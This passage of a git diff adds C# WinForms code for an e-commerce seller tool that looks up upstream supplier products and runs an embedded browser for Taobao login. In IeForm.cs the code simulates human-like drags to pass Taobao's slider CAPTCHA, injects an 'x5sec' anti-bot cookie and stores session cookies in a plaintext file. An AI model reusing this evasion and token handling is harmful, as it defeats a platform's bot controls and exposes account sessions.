+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/GetUpProductForm.Designer.cs b/TEMUKJD/KJDForms/UploadForms/GetUpProductForm.Designer.cs new file mode 100644 index 0000000..96a799d --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/GetUpProductForm.Designer.cs @@ -0,0 +1,240 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class GetUpProductForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.label1 = new System.Windows.Forms.Label(); + this.pbPaste = new System.Windows.Forms.PictureBox(); + this.txtIds = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX10 = new DevComponents.DotNetBar.LabelX(); + this.btnSearch = new DevComponents.DotNetBar.ButtonX(); + this.buttonX1 = new DevComponents.DotNetBar.ButtonX(); + this.dgvProduct = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colProductId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colFrom = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colUpId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.pbPaste)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).BeginInit(); + this.SuspendLayout(); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.Gray; + this.label1.Location = new System.Drawing.Point(245, 125); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(490, 17); + this.label1.TabIndex = 31; + this.label1.Text = "说明:多件商品请用逗号隔开,将同时弹出多个浏览器窗口。最大支持同时跳转20件商品。"; + // + // pbPaste + // + this.pbPaste.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pbPaste.BackColor = System.Drawing.Color.White; + this.pbPaste.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pbPaste.Image = global::LittleRabbit.Properties.Resources.FullPaste; + this.pbPaste.Location = new System.Drawing.Point(860, 75); + this.pbPaste.Name = "pbPaste"; + this.pbPaste.Size = new System.Drawing.Size(33, 29); + this.pbPaste.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbPaste.TabIndex = 30; + this.pbPaste.TabStop = false; + this.pbPaste.Click += new System.EventHandler(this.pbPaste_Click); + // + // txtIds + // + this.txtIds.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.txtIds.Border.Class = "TextBoxBorder"; + this.txtIds.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtIds.Font = new System.Drawing.Font("新宋体", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtIds.Location = new System.Drawing.Point(137, 75); + this.txtIds.Name = "txtIds"; + this.txtIds.PreventEnterBeep = true; + this.txtIds.Size = new System.Drawing.Size(724, 29); + this.txtIds.TabIndex = 28; + // + // labelX10 + // + this.labelX10.BackColor = System.Drawing.Color.Transparent; + // + // + // + this.labelX10.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX10.Font = new System.Drawing.Font("微软雅黑", 15F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.labelX10.Location = new System.Drawing.Point(53, 78); + this.labelX10.Name = "labelX10"; + this.labelX10.Size = new System.Drawing.Size(92, 23); + this.labelX10.TabIndex = 27; + this.labelX10.Text = "宝贝ID"; + // + // btnSearch + // + this.btnSearch.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnSearch.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSearch.ColorTable = DevComponents.DotNetBar.eButtonColor.OrangeWithBackground; + this.btnSearch.Font = new System.Drawing.Font("微软雅黑", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSearch.Location = new System.Drawing.Point(137, 119); + this.btnSearch.Name = "btnSearch"; + this.btnSearch.Size = new System.Drawing.Size(89, 29); + this.btnSearch.Style = DevComponents.DotNetBar.eDotNetBarStyle.OfficeXP; + this.btnSearch.TabIndex = 48; + this.btnSearch.Text = "搜索"; + this.btnSearch.TextColor = System.Drawing.Color.White; + this.btnSearch.ThemeAware = true; + this.btnSearch.Click += new System.EventHandler(this.btnSearch_Click); + // + // buttonX1 + // + this.buttonX1.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.buttonX1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.buttonX1.ColorTable = DevComponents.DotNetBar.eButtonColor.OrangeWithBackground; + this.buttonX1.Font = new System.Drawing.Font("微软雅黑", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.buttonX1.Location = new System.Drawing.Point(137, 163); + this.buttonX1.Name = "buttonX1"; + this.buttonX1.Size = new System.Drawing.Size(233, 29); + this.buttonX1.Style = DevComponents.DotNetBar.eDotNetBarStyle.OfficeXP; + this.buttonX1.TabIndex = 49; + this.buttonX1.Text = "搜索并列表显示"; + this.buttonX1.TextColor = System.Drawing.Color.White; + this.buttonX1.ThemeAware = true; + this.buttonX1.Visible = false; + this.buttonX1.Click += new System.EventHandler(this.buttonX1_Click); + // + // dgvProduct + // + this.dgvProduct.AllowUserToAddRows = false; + this.dgvProduct.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvProduct.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvProduct.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.dgvProduct.BackgroundColor = System.Drawing.Color.White; + this.dgvProduct.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvProduct.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvProduct.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvProduct.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colProductId, + this.colFrom, + this.colUpId}); + this.dgvProduct.Location = new System.Drawing.Point(137, 198); + this.dgvProduct.Name = "dgvProduct"; + this.dgvProduct.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvProduct.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvProduct.RowTemplate.Height = 23; + this.dgvProduct.Size = new System.Drawing.Size(756, 253); + this.dgvProduct.TabIndex = 50; + this.dgvProduct.Visible = false; + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Visible = false; + this.colSelect.Width = 41; + // + // colProductId + // + this.colProductId.HeaderText = "商品Id"; + this.colProductId.Name = "colProductId"; + this.colProductId.ReadOnly = true; + this.colProductId.Width = 200; + // + // colFrom + // + this.colFrom.HeaderText = "来源"; + this.colFrom.Name = "colFrom"; + this.colFrom.ReadOnly = true; + this.colFrom.Width = 90; + // + // colUpId + // + this.colUpId.HeaderText = "上家Id"; + this.colUpId.Name = "colUpId"; + this.colUpId.ReadOnly = true; + this.colUpId.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colUpId.Width = 250; + // + // GetUpProductForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(947, 480); + this.Controls.Add(this.dgvProduct); + this.Controls.Add(this.buttonX1); + this.Controls.Add(this.btnSearch); + this.Controls.Add(this.label1); + this.Controls.Add(this.pbPaste); + this.Controls.Add(this.txtIds); + this.Controls.Add(this.labelX10); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "GetUpProductForm"; + this.Text = "GetUpProductForm"; + ((System.ComponentModel.ISupportInitialize)(this.pbPaste)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.PictureBox pbPaste; + private DevComponents.DotNetBar.Controls.TextBoxX txtIds; + private DevComponents.DotNetBar.LabelX labelX10; + private DevComponents.DotNetBar.ButtonX btnSearch; + private DevComponents.DotNetBar.ButtonX buttonX1; + private UserComponent.DataGridViewEx dgvProduct; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductId; + private System.Windows.Forms.DataGridViewTextBoxColumn colFrom; + private System.Windows.Forms.DataGridViewTextBoxColumn colUpId; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/GetUpProductForm.cs b/TEMUKJD/KJDForms/UploadForms/GetUpProductForm.cs new file mode 100644 index 0000000..814f8b4 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/GetUpProductForm.cs @@ -0,0 +1,135 @@ +using AllBase; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util; +using NaiBa.Util.Extension; +using NaiBa.Util.Helper; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class GetUpProductForm : Form + { + public GetUpProductForm() + { + InitializeComponent(); + } + + private void btnSearch_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(this.txtIds.Text.Trim())) + { + BaseMsgForm.ShowError("请输入商品ID!"); + return; + } + + var idArr = this.txtIds.Text.Trim().Split(new string[] { "\r", "\n", ",", ",", ";", "-----" }, StringSplitOptions.RemoveEmptyEntries); + idArr = idArr.Take(20).ToArray(); + foreach (var prodId in idArr) + { + var product_id = prodId.ParseToLong(); + if (product_id > 0) + { + string url = BaseClass.LoginApiUrl + "?obj=upshopid/upid_dd&act=get"; + string data = "&pid=" + product_id + "&table=" + (product_id % 1024); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex("", "") + data); + string upId = BaseRegex.GetMatchRegexString(html, @"([\d]+)"); + string upUrl = ""; + if (html.StartsWith("tb")) + upUrl = "https://item.taobao.com/item.htm?id=" + upId; + if (html.StartsWith("pd")) + upUrl = "https://mobile.yangkeduo.com/goods.html?goods_id=" + upId; + if (html.StartsWith("al")) + upUrl = "https://detail.1688.com/offer/" + upId + ".html"; + if (html.StartsWith("jx")) + upUrl = "https://item.jd.com/" + upId + ".html"; + if (html.StartsWith("dy")) + upUrl = "https://haohuo.jinritemai.com/views/product/detail?id=" + upId; + if (string.IsNullOrEmpty(upId)) + upUrl = "https://www.baidu.com"; + FileHelper.OpenUrl(upUrl + (upUrl.Contains("?") ? "&" : "?") + "lr_search_id=" + product_id); + //GetHtml.OpenUrl(upUrl + (upUrl.Contains("?") ? "&" : "?") + "lr_search_id=" + product_id); + } + else + { + BaseMsgForm.ShowError("输入商品Id错误!"); + break; + } + } + } + + private void pbPaste_Click(object sender, EventArgs e) + { + if (BaseClass.UserName == "18888888888") + { + this.buttonX1.Visible = true; + } + + IDataObject iData = Clipboard.GetDataObject(); + if (iData != null && iData.GetDataPresent(DataFormats.Text)) + { + txtIds.Text = (string)iData.GetData(DataFormats.Text); + } + } + + private void buttonX1_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(this.txtIds.Text.Trim())) + { + BaseMsgForm.ShowError("请输入商品ID!"); + return; + } + + dgvProduct.Visible = true; + dgvProduct.Rows.Clear(); + + var idArr = this.txtIds.Text.Trim().Split(new string[] { "\r", "\n", ",", ",", ";", "-----" }, StringSplitOptions.RemoveEmptyEntries); + //idArr = idArr.Take(20).ToArray(); + Task.Run(() => + { + foreach (var prodId in idArr) + { + Thread.Sleep(50); + var product_id = prodId.ParseToLong(); + if (product_id > 0) + { + string url = BaseClass.LoginApiUrl + "?obj=upshopid/upid_dd&act=get"; + string data = "&pid=" + product_id + "&table=" + (product_id % 1024); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex("", "") + data); + string upId = BaseRegex.GetMatchRegexString(html, @"([\d]+)"); + string upUrl = ""; + string from = ""; + if (html.StartsWith("tb")) + from = "淘宝"; + if (html.StartsWith("pd")) + from = "拼多多"; + if (html.StartsWith("al")) + from = "阿里"; + if (html.StartsWith("jx")) + from = "京东"; + if (html.StartsWith("dy")) + from = "抖音"; + Invoke(new Action(() => + { + this.dgvProduct.Rows.Add(false, product_id, from, html.Split('-').LastOrDefault()); + })); + } + else + { + BaseMsgForm.ShowError("输入商品Id错误!"); + break; + } + } + }); + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/GetUpProductForm.resx b/TEMUKJD/KJDForms/UploadForms/GetUpProductForm.resx new file mode 100644 index 0000000..70aad3e --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/GetUpProductForm.resx @@ -0,0 +1,132 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/IeForm.cs b/TEMUKJD/KJDForms/UploadForms/IeForm.cs new file mode 100644 index 0000000..e980693 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/IeForm.cs @@ -0,0 +1,897 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using AllBase; +using CefSharp.WinForms; +using CefSharp; +using Work; +using System.Threading; +using Work.CollectClass; +using Work.Api; +using LittleRabbit.LittleRabbitForms.BaseForms; + +namespace LittleRabbit.LittleRabbitForms +{ + public partial class IeForm : LRBaseForm + { + public string Url = ""; + public string skipUrl = ""; + public bool isSlide = false; + public bool isExecJsSuccess = false; + public string x5Sec = ""; + public string Title { get { return Text; } set { Text = value; } } + public string UrlString { get { return Url; } set { Url = value; } } + + public IeForm() + { + InitializeComponent(); + } + + public IeForm(string _url) + { + Url = _url; + InitializeComponent(); + } + public ChromiumWebBrowser cefWebBrowser3; + private void IeForm_Load(object sender, EventArgs e) + { + if (BaseClass.Ico != null) + Icon = BaseClass.Ico; + if (string.IsNullOrEmpty(Url)) + { + cefWebBrowser3 = new ChromiumWebBrowser("https://login.taobao.com/member/login.jhtml?style=mini&newMini2=true&redirectURL=https://s.taobao.com/search?q=se&imgfile=&commend=all&ssid=s5-e&search_type=item&sourceId=tb.index&spm=a21bo.2017.201856-taobao-item.1&ie=utf8&initiative_id=tbindexz_20170306"); + StartPosition = FormStartPosition.CenterScreen; + } + else + { + if (string.IsNullOrEmpty(TitleText)) + { + Location = new Point(330, 220); + TitleText = Text = "账号登录"; + cefWebBrowser3 = new ChromiumWebBrowser(Url); + } + else + { + cefWebBrowser3 = new ChromiumWebBrowser(Url); + Text = TitleText; + } + } + RequestContextSettings requestContextSettings = new RequestContextSettings(); + requestContextSettings.PersistSessionCookies = false; + requestContextSettings.PersistUserPreferences = false; + cefWebBrowser3.RequestContext = new RequestContext(requestContextSettings); + cefWebBrowser3.Dock = DockStyle.Fill; + cefWebBrowser3.AutoSize = true; + + cefWebBrowser3.FrameLoadEnd += CefWebBrowser3_FrameLoadEnd; + cefWebBrowser3.AddressChanged += CefWebBrowser3_AddressChanged; + cefWebBrowser3.AddressChanged += cefWebBrowser3_UrlChanged; + + cefWebBrowser3.BrowserSettings = new BrowserSettings { Plugins = CefState.Disabled }; + panel2.Controls.Add(cefWebBrowser3); + DelCookies(); + ChromeCookies = ""; + new Thread(ReflashCookies).Start(); + new Thread(ResetUserList).Start(); + new Thread(SetTaoBaoCookies).Start(); + new Thread(AutoRrefreshCookies).Start(); + } + public void SetTaoBaoCookies() + { + if (TaobaoMobileCollect.CookiesDic.Count > 0) + { + foreach (var kvp in TaobaoMobileCollect.CookiesDic) + { + AddList(kvp.Key, kvp.Value, 1); + } + } + } + private void ResetUserList() + { + Thread.Sleep(100); + if (this.userComboBox.InvokeRequired) + { + this.Invoke(new Action(() => { userComboBox.Items.Clear(); })); + } + else + { + userComboBox.Items.Clear(); + } + try + { + foreach (KeyValuePair item in UserCookies) + { + if (this.userComboBox.InvokeRequired) + { + this.Invoke(new Action(() => + { + if (!userComboBox.Items.Contains(item.Key)) + userComboBox.Items.Add(item.Key); + })); + } + else + { + if (userComboBox.Items.Contains(item.Key)) + continue; + userComboBox.Items.Add(item.Key); + } + } + } + catch + { + + } + if (this.userComboBox.InvokeRequired) + { + this.Invoke(new Action(() => { userComboBox.Text = SetCookiesUserInfo.UserName; })); + } + else + { + userComboBox.Text = SetCookiesUserInfo.UserName; + } + } + private void CefWebBrowser3_AddressChanged(object sender, AddressChangedEventArgs e) + { + Url = e.Address; + } + + /// + /// 限制滑块自动拖动次数 + /// + private int iTryTimes = 0; + private Random random = new Random(); + private int _locX; + private int _locY; + public bool isDoing = false; + public bool LoginOk = false; + public bool tradeOk = false; + #region 获取网页js + /// + /// 获取网页某元素坐标X + /// + private string sJsGetElementPageLeft = @"function getElementPageLeft(element) { + var actualLeft = element.offsetLeft; + var parent = element.offsetParent; + while (parent != null) { + actualLeft += parent.offsetLeft + (parent.offsetWidth - parent.clientWidth) / 2; + parent = parent.offsetParent; + } + return actualLeft; + }; +getElementPageLeft(document.getElementById('nc_1_n1t'));"; + + /// + /// 获取网页某元素坐标Y + /// + private string sJsGetElementPageTop = @"function getElementPageTop(element) { + var actualTop=element.offsetTop; + var parent=element.offsetParent; + while(parent!=null) { + actualTop+=parent.offsetTop+(parent.offsetHeight-parent.clientHeight)/2; + parent=parent.offsetParent; + } + return actualTop; +}; +getElementPageTop(document.getElementById('nc_1_n1t'))"; + #endregion + + private void CefWebBrowser3_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + if (!cefWebBrowser3.IsBrowserInitialized) + return; + + Task.Run(() => + { + var t = cefWebBrowser3.GetBrowser().MainFrame.EvaluateScriptAsync("document.getElementById('J_Quick2Static').click();"); + t.Wait(2500); + + string url = cefWebBrowser3.Address; + string loginOkUrl = "https://s.taobao.com/search?q=se"; + if ((url.Contains(loginOkUrl) && url.IndexOf(loginOkUrl) == 0) || url.Contains("https://buyertrade.taobao.com")) //登录成功 + { + try + { + if (!LoginOk) + { + LoginOk = true; + new Thread(GetLoginUserName).Start(); + Hide(); + } + } + catch + { + } + } + if (url.Contains("acs.m.taobao.com")) + { + var lst = UserCookies.ToList(); + for (int i = 0; i < lst.Count; i++) + { + DelCookies(); + SetTaoBao(lst[i].Key, true); + } + } + if (url.Contains("www.taobao.com")) + { + if (!tradeOk) + { + tradeOk = true; + cefWebBrowser3.Load("https://trade-acs.m.taobao.com"); + } + } + if (url.Contains("nc_session_id")) + { + cefWebBrowser3.Load("https://www.taobao.com/"); + } + }); + } + public static Dictionary UserCookies = new Dictionary(); + private void GetLoginUserName() + { + Thread.Sleep(2000); + string url = "https://i.taobao.com/my_taobao.htm"; + string refere = "https://login.taobao.com/member/login.jhtml"; + if (string.IsNullOrEmpty(ChromeCookies)) + ChromeCookies = cookiesSrt; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, ChromeCookies); + string name = BaseRegex.GetMatchRegexString(ref html, @"[\s]*[\(]([\w]+)[\)]"); + if (string.IsNullOrEmpty(name)) + name = BaseRegex.GetMatchRegexString(ref ChromeCookies, @"dnk=([\w\W]+?);"); + if (string.IsNullOrEmpty(name)) + name = BaseRegex.GetMatchRegexString(ref ChromeCookies, @"_nk_=([\w\W]+?);"); + if (string.IsNullOrEmpty(name)) + return; + //if (!BaseClass.CookiesAll.ContainsKey("taobao.com")) + // return; + if (string.IsNullOrEmpty(ChromeCookies)) + return; + + //if (TaobaoMobileCollect.CookiesDic.Count>0&&TaobaoMobileCollect.CookiesDic[name].Contains("x5sec")) + //{ + // string cookies = TaobaoMobileCollect.CookiesDic[name].ToString(); + // BaseClass.x5Sec = BaseRegex.GetMatchRegexString(ref cookies, @"x5sec=([\w\W]+?);"); + // ChromeCookies += "x5sec=" + BaseClass.x5Sec + ";"; + //} + if (name.Contains("%")) + name = GetHtml.UrlDecode(name); + TaobaoMobileCollect.CookiesDic[name] = ChromeCookies; + + AddList(name, ChromeCookies, 1); + SaveCookies(); + } + public static void SaveCookies() + { + string temp = ""; + foreach (var item in TaobaoMobileCollect.CookiesDic) + { + temp += item.Key + "-----" + item.Value + "\r\n"; + } + FileBase.WriteAllText("temp/taobaocookies.txt", temp); + } + public void AddList(string name, string cookies, int site_id) + { + try + { + string[] l = cookies.Split(';'); + List cookie = new List(); + for (int j = 0; j < l.Length; j++) + { + if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("=")) + continue; + string[] ll = l[j].Split('='); + if (site_id == 1) + { + System.Net.Cookie c = new System.Net.Cookie(); + c.Domain = "taobao.com"; + c.Expires = DateTime.Now.AddYears(1); + c.Name = ll[0].Trim(); + c.Value = ll[1]; + c.Path = "/"; + cookie.Add(c); + } + } + UserCookies uc = new UserCookies(); + uc.Cookies = cookie; + uc.UserName = name; + uc.SiteId = site_id; + if (!UserCookies.ContainsKey(name)) + UserCookies.Add(name, uc); + else + UserCookies[name] = uc; + SetCookiesUserInfo.UserName = name; + ResetUserList(); + } + catch + { + } + } + + /// + /// 模拟鼠标拖拽 + /// + /// 浏览器Host + /// 起始坐标X + /// 起始坐标Y + /// 终止坐标X + /// 终止坐标Y + public void CefMouseDrag(IBrowserHost host, int x1, int y1, int x2, int y2) + { + Random random = new Random(); + + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, false, 1, CefEventFlags.None);//按下鼠标左键 + + Thread.Sleep(random.Next(5)); + double x = x1; + double y = y1; + int xlen = x2 - x1; + while (x < x2) + { + int rs = random.Next(9, 15); + if (x2 - x > (xlen - xlen / 3)) + { + rs = random.Next(3); + } + x = x + rs; + Thread.Sleep(1 + random.Next(rs)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); // 移动鼠标 + } + host.SendMouseClickEvent(x2, y2, MouseButtonType.Left, true, 1, CefEventFlags.None); // 抬起鼠标左键 + } + private void panelSettleSlide_Click_1(object sender, EventArgs e) + { + TbSettleSlideForm tbForm = new TbSettleSlideForm(); + //tbForm.freshType = 2; + tbForm.slideUrl = Url; + tbForm.tbDetailForm = this; + tbForm.Show(); + } + private void userComboBox_SelectedIndexChanged_1(object sender, EventArgs e) + { + string url = cefWebBrowser3.Address; + if (SetCookiesUserInfo.UserName == userComboBox.Text && !url.Contains("login")) + return; + SetTaoBao(userComboBox.Text, true); + LoginOk = false; + cefWebBrowser3.Load("https://s.taobao.com/search?q=se"); + } + private void delCookiesButtonX_Click_1(object sender, EventArgs e) + { + string cboname = userComboBox.Text; + Task.Run(() => + { + UserCookies.Remove(cboname); + if (UserCookies.Count > 0) + SetCookiesUserInfo.UserName = UserCookies.FirstOrDefault().Key; + else + SetCookiesUserInfo.UserName = ""; + TaobaoMobileCollect.CookiesDic.Remove(cboname); + TaobaoMobileCollect.CookiesDic.Clear(); + DelCookies(); + ChromeCookies = ""; + BaseClass.IeFormCookies = ""; + ResetUserList(); + SaveCookies(); + SetTaoBao(SetCookiesUserInfo.UserName, true); + LoginOk = false; + cefWebBrowser3.Load("https://login.taobao.com/member/login.jhtml?style=mini&newMini2=true&redirectURL=https://s.taobao.com/search?q=se&imgfile=&commend=all&ssid=s5-e&search_type=item&sourceId=tb.index&spm=a21bo.2017.201856-taobao-item.1&ie=utf8&initiative_id=tbindexz_20170306"); + }); + } + public override void PictureBox1_Click(object sender, EventArgs e) + { + if (Text == "淘宝验证窗口") + { + if (userComboBox.SelectedItem == null) + Thread.Sleep(3000); + this.Close(); + } + else + { + Hide(); + return; + } + } + + #region 添加x5sec事件 + public void ExecX5secJs() + { + if (cefWebBrowser3 != null && cefWebBrowser3.IsBrowserInitialized) + { + string js = @"function setCookie(name,value) + { + var Days = 30; + var exp = new Date(); + exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000); + document.cookie = name + '=' + escape(value) + ';path=/;expires=' + exp.toGMTString(); + } + "; + js += @"function getCookie(name) + { + var arr, reg = new RegExp('(^| )' + name + '=([^;]*)(;|$)'); + + if (arr = document.cookie.match(reg)) + + return unescape(arr[2]); + else + return null; + } + "; + js += @"function delCookie(name) + { + var exp = new Date(); + exp.setTime(exp.getTime() - 1); + var cval = getCookie(name); + if (cval != null) + document.cookie = name + '=' + cval + ';expires=' + exp.toGMTString(); + } + "; + var task = cefWebBrowser3.GetBrowser().MainFrame.EvaluateScriptAsync(js); + task.Wait(); + var result = task.Result.Success; + if (result) + { + js = "setCookie('x5sec','" + x5Sec + "')"; + task = cefWebBrowser3.GetBrowser().MainFrame.EvaluateScriptAsync(js); + task.Wait(); + if (task.Result.Success) + { + isExecJsSuccess = true; + + cefWebBrowser3.Reload(); + } + + } + } + + } + #endregion + private void panelSettleSlide_Click(object sender, EventArgs e) + { + TbSettleSlideForm tbForm = new TbSettleSlideForm(); + //tbForm.freshType = 2; + tbForm.slideUrl = Url; + tbForm.tbDetailForm = this; + tbForm.Show(); + } + + private void cefWebBrowser3_UrlChanged(object sender, CefSharp.AddressChangedEventArgs e) + { + if (InvokeRequired) + { + Invoke(new Action(() => + { + skipUrl = cefWebBrowser3.Address; + })); + } + else + { + skipUrl = cefWebBrowser3.Address; + } + } + + + private void panelBack_Click(object sender, EventArgs e) + { + if (cefWebBrowser3.IsBrowserInitialized && cefWebBrowser3.CanGoBack) + { + cefWebBrowser3.Back(); + } + } + + private void panelForward_Click(object sender, EventArgs e) + { + if (cefWebBrowser3.IsBrowserInitialized && cefWebBrowser3.CanGoForward) + { + cefWebBrowser3.Forward(); + } + } + + private void panelRefresh_Click(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(skipUrl)) + { + cefWebBrowser3.Load(skipUrl); + } + else + { + cefWebBrowser3.Load(Url); + } + cefWebBrowser3.Refresh(); + } + + private void wwPictureBox_Click(object sender, EventArgs e) + { + + } + + bool isH5 = false; + private void userComboBox_SelectedIndexChanged(object sender, EventArgs e) + { + if (Url.Contains("https://login.m.taobao.com/") || Url.Contains("https://acs.m.taobao.com//h5")) + { + isH5 = true; + return; + } + if (isH5) + return; + string url = cefWebBrowser3.Address; + if (SetCookiesUserInfo.UserName == userComboBox.Text && !url.Contains("login")) + return; + SetTaoBao(userComboBox.Text, true); + LoginOk = false; + cefWebBrowser3.Load("https://s.taobao.com/search?q=se"); + } + public bool SetTaoBao(string userName, bool refundFlag) + { + if (!UserCookies.ContainsKey(userName)) + { + if (string.IsNullOrEmpty(userName)) + 